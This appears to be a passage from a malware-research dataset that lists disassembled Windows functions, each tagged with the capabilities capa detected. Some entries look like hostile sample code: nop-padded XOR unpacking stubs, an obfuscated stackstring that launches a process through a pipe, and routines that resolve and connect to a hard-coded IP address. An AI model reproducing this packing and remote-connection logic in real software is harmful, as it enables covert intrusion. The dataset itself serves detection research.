joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406726
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x40674a
xor eax, eax
test eax, eax
je 0x40675c
cmp byte [ebp + eax - 0x121], 0x5c
je 0x40675c
xor ecx, ecx
jmp 0x40675f
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x40a014]
lea eax, [ebp + eax - 0x120]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
leave
ret 4

Function at 0x40684b
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4232e4], 0
push esi
jne 0x406882
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x40685c
mov dword [ecx*4 + 0x4232e0], eax
inc ecx
cmp ecx, 0x100
jl 0x406857
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4068b3
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4232e0]
xor eax, esi
inc ecx
dec edx
jne 0x406895
pop edi
not eax
pop esi
ret 0xc

Function at 0x432000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x432072
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x708b1c4d
nop
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
loop 0x432060
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
je 0x4320d2
nop
nop
nop
nop
mov ebx, 0x42f314
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x6d7e351b
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408f6c
nop
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x3c496d81
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e3d0
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0xe412ff9
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x10001000
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
mov eax, 0x202
mov word [ebp - 4], ax
lea ecx, [ebp - 0x194]
push ecx
movzx edx, word [ebp - 4]
push edx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1000102c
xor al, al
jmp 0x10001064
movzx eax, word [ebp - 0x194]
and eax, 0xff
movzx ecx, al
cmp ecx, 2
jne 0x10001058
movzx edx, word [ebp - 0x194]
shr edx, 8
and edx, 0xff
movzx eax, dl
cmp eax, 2
je 0x10001062
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor al, al
jmp 0x10001064
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x10001070
Capabilities:
Contain obfuscated stackstrings
Create pipe
Create process on windows
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov dword [ebp - 0x28], 0xc
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 1
push 0
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x100010b1
xor eax, eax
jne 0x100010a3
mov eax, 1
jmp 0x100011f6
push 0x44
push 0
lea ecx, [ebp - 0x7c]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x7c], 0x44
mov eax, dword [ebp - 0x50]
or eax, 0x100
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 8]
mov dword [ebp - 0x3c], edx
mov byte [ebp - 0x1c], 0x5e
mov byte [ebp - 0x1b], 0x55
mov byte [ebp - 0x1a], 0x44
mov byte [ebp - 0x19], 0x43
mov byte [ebp - 0x18], 0x44
mov byte [ebp - 0x17], 0x51
mov byte [ebp - 0x16], 0x44
mov byte [ebp - 0x15], 0x10
mov byte [ebp - 0x14], 0x1d
mov byte [ebp - 0x13], 0x5e
mov byte [ebp - 0x12], 0x30
mov dword [ebp - 4], 0
jmp 0x1000112b
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xb
jae 0x10001145
mov ecx, dword [ebp - 4]
movsx edx, byte [ebp + ecx - 0x1c]
xor edx, 0x30
mov eax, dword [ebp - 4]
mov byte [ebp + eax - 0x1c], dl
jmp 0x10001122
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x7c]
push edx
push 0
push 0
push 0
push 1
push 0
push 0
lea eax, [ebp - 0x1c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10001188
xor ecx, ecx
jne 0x10001169
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x100011f6
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
lea edx, [ebp - 0x10]
push edx
push 0x1000
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100011d6
cmp dword [ebp - 0x10], 0
jbe 0x100011d6
push 1
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
mov edx, dword [ebp - 0x10]
push edx
push 1
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
jmp 0x10001192
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x38]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10001200
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
push str.34.44.19.185
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 4], eax
xor eax, eax
jne 0x10001212
cmp dword [ebp - 4], 0
je 0x10001243
xor ecx, ecx
jne 0x1000121c
mov edx, 4
imul eax, edx, 0
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
mov eax, dword [eax + edx]
mov ecx, dword [ebp + 8]
mov edx, dword [eax]
mov dword [ecx + 4], edx
xor eax, eax
jne 0x10001239
xor eax, eax
jmp 0x1000124c
xor ecx, ecx
jne 0x10001243
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x10001250
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
jne 0x10001253
push 0x10
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x1000127a
xor ecx, ecx
jne 0x1000126d
mov eax, 1
jmp 0x10001280
xor edx, edx
jne 0x1000127a
xor eax, eax
pop ebp
ret

Function at 0x100015e0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0x10001380
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x40420c
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x28], ecx
mov ecx, dword [ebp + 8]
call fcn.0042b2b3
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [ebp - 0xc], 0x182
jne 0x404244
push str.80386
mov ecx, dword [ebp + 8]
call fcn.0042b4b1
mov eax, 1
jmp 0x404280
cmp dword [ebp - 0xc], 0x1e6
jne 0x404261
push str.80486
mov ecx, dword [ebp + 8]
call fcn.0042b4b1
mov eax, 1
jmp 0x404280
cmp dword [ebp - 0xc], 0x24a
jne 0x40427e
push 0xae
mov ecx, dword [ebp + 8]
call fcn.0042b8e1
mov eax, 1
jmp 0x404280
xor eax, eax
mov esp, ebp
pop ebp
ret 4

Function at 0x404286
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4380f1
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xbc
mov dword [ebp - 0xb8], ecx
mov ecx, dword [ebp + 8]
call fcn.0042b2b3
lea ecx, [ebp - 0xa4]
call fcn.00402df0
mov dword [ebp - 4], 0
mov dword [ebp - 0xa0], 0x94
lea eax, [ebp - 0xa0]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x404403
mov ecx, dword [ebp - 0x98]
push ecx
mov edx, dword [ebp - 0x9c]
push edx
push str._d._d
mov eax, dword [ebp + 8]
push eax
call fcn.0042a391
add esp, 0x10
cmp dword [ebp - 0x90], 2
jne 0x40431d
push 0xaf
lea ecx, [ebp - 0xa4]
call fcn.0042b8e1
jmp 0x40435a
cmp dword [ebp - 0x90], 1
jne 0x40435a
cmp dword [ebp - 0x98], 0
jne 0x404341
push 0xb1
lea ecx, [ebp - 0xa4]
call fcn.0042b8e1
jmp 0x40435a
cmp dword [ebp - 0x98], 0xa
jne 0x40435a
push 0xb2
lea ecx, [ebp - 0xa4]
call fcn.0042b8e1
lea ecx, [ebp - 0xa4]
push ecx
push 0x2c
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0xa8]
push eax
call fcn.00429dfd
mov dword [ebp - 0xbc], eax
mov ecx, dword [ebp - 0xbc]
mov dword [ebp - 0xc0], ecx
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0xc0]
push edx
lea eax, [ebp - 0xac]
push eax
call fcn.0042b557
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0xc4]
mov dword [ebp - 0xc8], ecx
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0xc8]
push edx
mov ecx, dword [ebp + 8]
call fcn.0042b461
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xac]
call fcn.0042b328
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xa8]
call fcn.0042b328
mov dword [ebp - 0xb0], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa4]
call fcn.0042b328
mov eax, dword [ebp - 0xb0]
jmp 0x404425
mov dword [ebp - 0xb4], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa4]
call fcn.0042b328
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
Function at 0x408425
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x438835
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
mov dword [ebp - 0x34], ecx
mov eax, dword [0x43b878]
push eax
lea ecx, [ebp - 0x10]
call fcn.0042b396
mov dword [ebp - 4], 0
push str.UserProfile
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x30]
push edx
call fcn.0042b5bd
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0x10]
call fcn.0042b461
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x30]
call fcn.0042b328
lea ecx, [ebp - 0x1c]
call fcn.0040e620
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x10]
call fcn.00402c30
push eax
push 0x80000002
lea ecx, [ebp - 0x1c]
call fcn.0040e6a0
test eax, eax
jne 0x4085c2
cmp dword [ebp + 8], 0
je 0x408551
mov ecx, dword [ebp - 0x34]
add ecx, 0x9c
call fcn.00402c30
push eax
push 0x44863c
lea ecx, [ebp - 0x1c]
call fcn.0040e84c
mov ecx, dword [ebp - 0x34]
add ecx, 0xa0
call fcn.00402c30
push eax
push 0x448648
lea ecx, [ebp - 0x1c]
call fcn.0040e84c
mov ecx, dword [ebp - 0x34]
add ecx, 0x98
call fcn.00402c30
push eax
push 0x448654
lea ecx, [ebp - 0x1c]
call fcn.0040e84c
mov ecx, dword [ebp - 0x34]
add ecx, 0x94
call fcn.00402c30
push eax
push 0x44865c
lea ecx, [ebp - 0x1c]
call fcn.0040e84c
mov ecx, dword [ebp - 0x34]
add ecx, 0xa4
call fcn.00402c30
push eax
push 0x448664
lea ecx, [ebp - 0x1c]
call fcn.0040e84c
jmp 0x4085c2
mov edx, dword [ebp - 0x34]
add edx, 0x9c
push edx
push 0x44866c
lea ecx, [ebp - 0x1c]
call fcn.0040e93e
mov eax, dword [ebp - 0x34]
add eax, 0xa0
push eax
push 0x448678
lea ecx, [ebp - 0x1c]
call fcn.0040e93e
mov ecx, dword [ebp - 0x34]
add ecx, 0x98
push ecx
push 0x448684
lea ecx, [ebp - 0x1c]
call fcn.0040e93e
mov edx, dword [ebp - 0x34]
add edx, 0x94
push edx
push 0x44868c
lea ecx, [ebp - 0x1c]
call fcn.0040e93e
mov eax, dword [ebp - 0x34]
add eax, 0xa4
push eax
push 0x448694
lea ecx, [ebp - 0x1c]
call fcn.0040e93e
cmp dword [ebp + 8], 0
jne 0x408679
push 0x44d114
mov ecx, dword [ebp - 0x34]
add ecx, 0x98
push ecx
call fcn.00404a50
and eax, 0xff
test eax, eax
je 0x408679
lea ecx, [ebp - 0x20]
call fcn.00402df0
mov byte [ebp - 4], 3
cmp dword [0x44d2b8], 0
je 0x408614
push 0x25a
lea ecx, [ebp - 0x20]
call fcn.0042b8e1
mov dword [ebp - 0x40], eax
jmp 0x408624
push 0x25b
lea ecx, [ebp - 0x20]
call fcn.0042b8e1
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 0x2c]
call fcn.0040e620
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x20]
call fcn.00402c30
push eax
push 0x80000002
lea ecx, [ebp - 0x2c]
call fcn.0040e6a0
test eax, eax
jne 0x408661
mov edx, dword [ebp - 0x34]
add edx, 0x98
push edx
push 0x44869c
lea ecx, [ebp - 0x2c]
call fcn.0040e93e
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2c]
call fcn.0040e64c
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x20]
call fcn.0042b328
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1c]
call fcn.0040e64c
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.0042b328
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
Function at 0x40e84c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 0xc]
push eax
call fcn.0041cfc0
add esp, 4
add eax, 1
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 1
push 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esp, ebp
pop ebp
ret 8

Function at 0x40e8f5
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 8]
push edx
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40e935
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x10]
mov dword [eax], ecx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 8

Function at 0x40e93e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
mov dword [ebp - 0xd8], ecx
mov dword [ebp - 0xd0], 0xc8
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0xc8]
push ecx
lea edx, [ebp - 0xcc]
push edx
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0
jne 0x40e9a0
lea eax, [ebp - 0xc8]
push eax
mov ecx, dword [ebp + 0xc]
call fcn.0042b4b1
mov eax, dword [ebp - 0xd4]
mov esp, ebp
pop ebp
ret 8
Function at 0x4296e0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.0041da50
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x4297ab
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x4297ab
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x42975e
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x429769
or bh, 8
and edi, 0x8000000
je 0x429784
mov eax, dword [0x450afc]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x4297ab
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x429b80
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x429bab
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x429bcf
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x429bea
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20

Function at 0x42c8b8
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x42c8f0
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0042b734
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0042b70c
jmp 0x42c8fc
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4
Function at 0x42de59
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x42de9b
call fcn.004346e9
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x42de9b
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x42de92
xor eax, eax
jmp 0x42dea3
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0042dea9
pop edi
pop esi
pop ebx
ret 4

Function at 0x4354ef
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x43551d
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x43553b
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00435455
jmp 0x43553b
mov eax, dword [esi + 0x14]
test eax, eax
je 0x43553b
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00435455
test edi, edi
mov eax, edi
jne 0x435525
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x100019bb
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x10031024]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebx]
cmp edi, 0x3e7
jne 0x100019eb
push str.Application_requested_NV3DDevApi_VersionUnversioned_n
call fcn.10007e40
pop ecx
jmp 0x10001a1a
push edi
lea eax, [edi + 1]
push eax
push str.Application_requested_NV3DDevApi_Version_u__0x_x__n
call fcn.10007e40
add esp, 0xc
test edi, edi
je 0x10001a45
cmp edi, 1
je 0x10001a45
cmp edi, 2
je 0x10001a45
cmp edi, 3
je 0x10001a45
cmp edi, 4
je 0x10001a45
cmp edi, 5
je 0x10001a45
push 0
call fcn.10008360
test al, al
je 0x10001a38
push edi
push str.GetInterface
push str._s:_Invalid_version_specified:__u._n
call fcn.10007e40
add esp, 0xc
and dword [ebx], 0
mov eax, 0xc00000bb
jmp 0x10001bc6
and dword [ebp - 0x3c], 0
mov ebx, 0x3e7
mov dword [ebp - 0x38], 0x14
xor eax, eax
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x30], 0x5c
mov dword [ebp - 0x2c], 2
mov dword [ebp - 0x28], 0x60
mov dword [ebp - 0x24], 3
mov dword [ebp - 0x20], 0x64
mov dword [ebp - 0x1c], 4
mov dword [ebp - 0x18], 0x78
mov dword [ebp - 0x14], 5
mov dword [ebp - 0x10], 0x7c
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], 0x80
cmp edi, dword [ebp + eax*8 - 0x3c]
je 0x10001ab5
inc eax
cmp eax, 7
jb 0x10001aa7
jmp 0x10001ac4
push dword [ebp + eax*8 - 0x38]
push 0
push esi
call fcn.1000a660
add esp, 0xc
mov dword [esi], 0x10001c10
mov dword [esi + 4], 0x10001830
mov dword [esi + 8], 0x10001630
test edi, edi
jne 0x10001aea
mov dword [esi + 0xc], 0x10001d60
mov dword [esi + 0x10], 0x10003ff0
cmp edi, 1
jl 0x10001b6d
mov dword [esi + 0x14], 0x100038d0
mov dword [esi + 0x18], 0x10002350
mov dword [esi + 0x1c], 0x10002c80
mov dword [esi + 0x20], 0x10003600
mov dword [esi + 0x24], 0x10002c70
mov dword [esi + 0x28], 0x100025c0
mov dword [esi + 0x2c], 0x10003ae0
mov dword [esi + 0x30], 0x100038a0
mov dword [esi + 0x34], 0x10003690
mov dword [esi + 0x38], 0x100036d0
mov dword [esi + 0x3c], 0x10003710
mov dword [esi + 0x40], 0x100037b0
mov dword [esi + 0x44], 0x100030c0
mov dword [esi + 0x48], 0x10003660
mov dword [esi + 0x4c], 0x10003870
mov dword [esi + 0x50], 0x10003830
mov dword [esi + 0x54], 0x100037f0
mov dword [esi + 0x58], 0x10002e10
cmp edi, 2
jl 0x10001b79
